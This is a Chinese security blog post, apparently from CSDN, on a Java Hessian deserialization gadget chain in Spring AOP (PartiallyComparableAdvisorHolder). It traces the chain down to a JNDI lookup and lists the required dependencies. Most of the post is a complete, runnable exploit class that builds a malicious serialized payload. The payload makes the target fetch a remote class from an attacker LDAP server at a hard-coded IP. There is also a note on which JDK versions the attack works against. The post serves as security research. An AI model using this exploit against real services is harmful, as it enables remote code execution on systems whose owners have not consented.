目录

前言

简单分析

EXP

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前言

前文：【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客

前文里最后给到一条HotSwappableTargetSource利用链，就是我们今天PartiallyComparableAdvisorHolder链子的前半段(触发恶意类的toString方法)，故不再赘述。

多嘴提一句，复现的时候记得jdk换成8u100以下的，jdk8高版本不能执行远程文件，打不了JNDI。

简单分析

简单给出前半部分的调用关系

HashMap#put -> HashMap#putVal -> HotSwappableTargetSource#equals -> XString#equals -> AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder#toString -> ...

接下来我们来关注省略号的部分，发现接着调用了PartiallyComparableAdvisorHolder的advisor属性AspectJPointcutAdvisor的getOrder方法

跟进，调用this.advice的getOrder方法，这里是AspectJAroundAdvice#getOrder

跟进，this.aspectInstanceFactory为BeanFactoryAspectInstanceFactory，调用BeanFactoryAspectInstanceFactory#getOrder

 跟进，this.beanFactory为SimpleJndiBean，调用SimpleJndiBean#getType

跟进，调用SimpleJndiBean#doGetType

跟进，name采用的是单例模式，isSingleton为true，进入if判断，调用doGetSingleton

第一次进入的时候singletonObjects是不会有对应的jndi对象的，所以进入else分支，触发lookup，从而完成JNDI注入

EXP

pom依赖

    <dependencies>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-aop</artifactId>
            <version>5.0.0.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context</artifactId>
            <version>4.1.3.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>org.aspectj</groupId>
            <artifactId>aspectjweaver</artifactId>
            <version>1.6.10</version>
        </dependency>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.66</version>
        </dependency>
    </dependencies>

召唤计算器的神奇咒语

package org.Hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;

public class EXP {
    public static void main(String[] args) throws Exception {
        String jndiUrl = "ldap://124.222.136.33:1337/#aaa";
        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
        bf.setShareableResources(jndiUrl);

        setFieldValue(bf, "logger", new NoOpLog());
        setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
        AspectInstanceFactory aif = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
        setFieldValue(aif, "beanFactory", bf);
        setFieldValue(aif, "name", jndiUrl);

        AbstractAspectJAdvice advice = createWithoutConstructor(AspectJAroundAdvice.class);
        setFieldValue(advice, "aspectInstanceFactory", aif);

        AspectJPointcutAdvisor advisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
        setFieldValue(advisor, "advice", advice);

        Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
        Object pcah = createWithoutConstructor(pcahCl);
        setFieldValue(pcah, "advisor", advisor);

        HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));

        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);

        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
        hessianOutput.writeObject(s);
        hessianOutput.flush();
        byte[] bytes = byteArrayOutputStream.toByteArray();

        //反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
    }

    public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }
    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
}